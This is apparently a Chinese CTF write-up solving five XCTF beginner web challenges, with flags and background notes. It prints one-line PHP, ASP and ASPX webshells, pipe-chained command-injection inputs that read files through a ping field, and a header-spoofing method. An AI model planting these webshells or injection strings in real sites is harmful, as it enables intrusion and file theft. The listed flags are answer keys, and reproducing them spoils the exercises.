文章目录
1、题解
2、知识扩充
第八关
get_post
打开网站
以get方式提交a=1,即在url后直接输入,但你需要加上/?,如下图所示
此时出现让以post方式提交b=2,在这里我推荐使用hackbar插件(火狐浏览器)
此时点击execute
flag显现,flag为cyberpeace{2e168760fe0fcc1736d929753bfd9cc1}
,解题完成!
知识扩充:get方式递交会在url显现,而post方式递交后url则是看不 见的
最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数,详细解释见https://www.zhihu.com/question/28586791。
第九关
xff_referer
题目
打开网站
网站中提出了ip地址,观察题目,题目中说xff可以伪造,那我们利用burpsuite来伪造一个ip地址,具体操作如下
<1>点击 send to Repeater
点击上方的Repeat
输入ip地址
点击Go实行
右边是反应,此时右边说必须来自谷歌浏览器,那我们再加上一句话即可,如下图所示
按Go查看反应
flag显现,flag为cyberpeace{fc8f2b4b4810dbeff9524b53c07f26d7}
解题完成
知识扩充:
1、xff,即X-Forwarded-For,是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址。在代理转发及反向代理中经常使用X-Forwarded-For 字段,简单的说,就是xff告诉服务器当前请求者最终ip的http请求头部字段
2、Referer
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
第十关
webshell
题目
打开网站
发现这是一句话木马,给出的value为shell,首先查看这个包含的文件有哪些,我用hackbar(火狐浏览器)来查找
按execute,查看结果
发现文件为flag.txt和index.php,我们需要查看flag.txt的内容,操作如下图所示
查看结果
flag显现,flag为cyberpeace{a2e0201a45c33727a8589139174a7f90}
,解题完成!
也可以利用中国蚁剑或者中国菜刀来连接ip地址查看文件内容等,burpsuite也可以。
解题链接:https://www.cnblogs.com/darklee/p/12620069.html
知识扩充:
1、根据一句话木马获得站点的目录
常见的一句话木马
asp一句话木马:
<%execute(request(“value”))%>
php一句话木马:
<?php @eval($_POST[value]);?>
aspx一句话木马:
<%@ Page Language=“Jscript”%>
<%eval(Request.Item[“value”])%>
第十一关
command_execution
题目
打开网站
先ping本地试一下
发现可以ping通,那我们可以试着找一下flag,flag一般为txt格式,所以我们寻找所有txt文件,命令为127.0.0.1 |find / -name "*.txt"
发现flag.txt存在于home下,接下来查看flag.txt,命令为:127.0.0.1|cat /home/flag.txt
flag显现,flag为cyberpeace{35283ab728b1cdfe576ad34b129318ac}
,解题完成!
知识扩充:
1、Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
2、ping (Packet Internet Groper)是一种因特网包探索器,用于测试网络连接量的程序 [1] 。Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 主要是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo 请求报文,测试目的站是否可达及了解其有关状态 [2] 。
第十二关
simple_js
观察题目
打开网站
随便输入数字,发现是如下情况
查看源码
fromCharCode函数是指数字转换成字符串,那其后面的一定是数值,
所以我们如果把后面的输入,按理说应该输出的是字符串,我们开始尝试
最终发现,结果都是
说明此处存在着猫腻,不难发现,后面是十六进制数,我们利用转换工具转换为数值
得到的数字为55,56,54,79,115,69,114,116,107,49,50
我们再用ASCII码表将其一一进行转换,ASCII码表链接https://www.qqxiuzi.cn/bianma/ascii.htm
最终得到的字符串为786OsErtk12
再观察题干,给出了flag的模板
据此可知,flag为Cyberpeace{786OsErtk12}
知识扩充
fromCharCode()函数
作用:此函数可将数字转换成字符
菜鸟教程讲解链接:锋https://www.runoob.com/jsref/jsref-fromcharcode.html
xctf新手web题完成!